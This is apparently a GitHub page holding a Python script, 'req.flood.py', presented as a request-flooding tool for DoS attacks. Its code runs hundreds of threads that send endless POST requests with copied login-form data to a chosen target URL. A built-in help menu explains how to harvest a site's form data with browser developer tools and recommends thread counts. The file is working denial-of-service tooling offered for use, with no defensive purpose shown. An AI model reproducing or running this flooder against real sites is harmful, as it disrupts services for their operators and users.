-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreq.flood.py
More file actions
92 lines (83 loc) · 5.02 KB
/
req.flood.py
File metadata and controls
92 lines (83 loc) · 5.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import requests
import threading
print(
"""
__ _ _
_ __ ___ __ _ / _| | ___ ___ __| |
| '__/ _ \/ _` | | |_| |/ _ \ / _ \ / _` |
| | | __/ (_| | | _| | (_) | (_) | (_| | ~>Request flooding app<~
|_| \___|\__, | |_| |_|\___/ \___/ \__,_|~~>Made by tfwcodes(github)<~~
|_|
"""
)
while True:
try:
# Help menu
print("[!] Enter recommended_threads to see how many threads are recommended for an ordinary pc" + "\n" + "[!] Enter attack_info to see info about how to start the attack" + "\n" + "[!] Enter start_attack to start the attack" + "\n" + "[!] Enter dev to see how to reach me" + "\n" + "[!] Enter response_info to see info about what response you get" + "\n" + "[!] If you want to exit press Ctrl+C(if you press while the attack is running it will not work)")
# It will make a while loop that prints the help menu and asks you to enter a command
command = input("[+] Enter the command: ")
# The initial dos/DDoS attack
if command == "start_attack":
try:
# Enter target url
url = input("[+] Enter the target url: ")
# Enter the number of threads that will be used in the attack
number_of_threads = input("[+] Enter the number of threads: ")
# Form data
data = {
'rcr_authenticate': '1',
'rcr_user': 'asdada',
'rcr_pass': 'dasdada',
'rcr_submit': 'Conectare'
}
# The list of threads were all the threads are gonna be append
list_of_threads = []
# Make the while loop request with the method post
def flood():
while True:
response = requests.post(url, data=data)
print(response)
# The multi-threading part
# It will have number_of_threads(this is the variable that asks you for the number of threads) threads for this attack
for i in range(int(number_of_threads)):
# The multi-threading will have the target flood(where is the while loop request)
t = threading.Thread(target=flood)
t.daemon = True
# t will be append in the list of threads (named list_of_threads)
list_of_threads.append(t)
for i in range(int(number_of_threads)):
# Start the threads
list_of_threads[i].start()
for i in range(int(number_of_threads)):
# Join the threads
list_of_threads[i].join()
except KeyboardInterrupt:
exit()
if command == "attack_info":
try:
# Print info about how to start the attack
print("to start the attack you need too:" + "\n" + "1. first go to the target and go to inspect" + "\n" + "2. you put random data on the login page, then press f12 go to the network tab, then you make the request and go to the file that has the post method and scroll down untill you see the form data (if the target has an id, token, rechaptcha token or anything else the attack will not work)" + "\n" + "3. you paste what it is in the form data, then go into the program and paste the form data in to the variable named data like this: data = {'rcr_authenticate': '1', 'rcr_user': 'dfssf', 'rcr_pass': 'sdfsfs', 'rcr_submit': 'Conectare'} (this is an example)" + "\n" + "4. You run the app, you put the url you saw on the network which will be the target url, you put how many threads you want for the attack and start it:)")
except:
pass
if command == "recommended_threads":
try:
# Print the recommended threads
print("The recommended threads for an ordinary pc are between 50-300 and if you have a powerful pc then the recommended threads are between 300-700")
# If there will be any error it will print an error occurred
except:
print("[!!!] An error occurred")
# How to reach me (my discord and gmail)
if command == "dev":
try:
print("Discord: tfw#2946, Gmail: mungureanuu@gmail.com")
except:
print("[!!!] An error occurred")
# Print info about the response
if command == "response_info":
try:
print("If you start the attack and you get response 200 that means that the attack is succesfull and is working, if you get something else you can see more info about here: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status")
except:
print("[!!!]An error occurred")
# If the user is gonna press Ctrl+C it wil exit the program
except KeyboardInterrupt:
exit()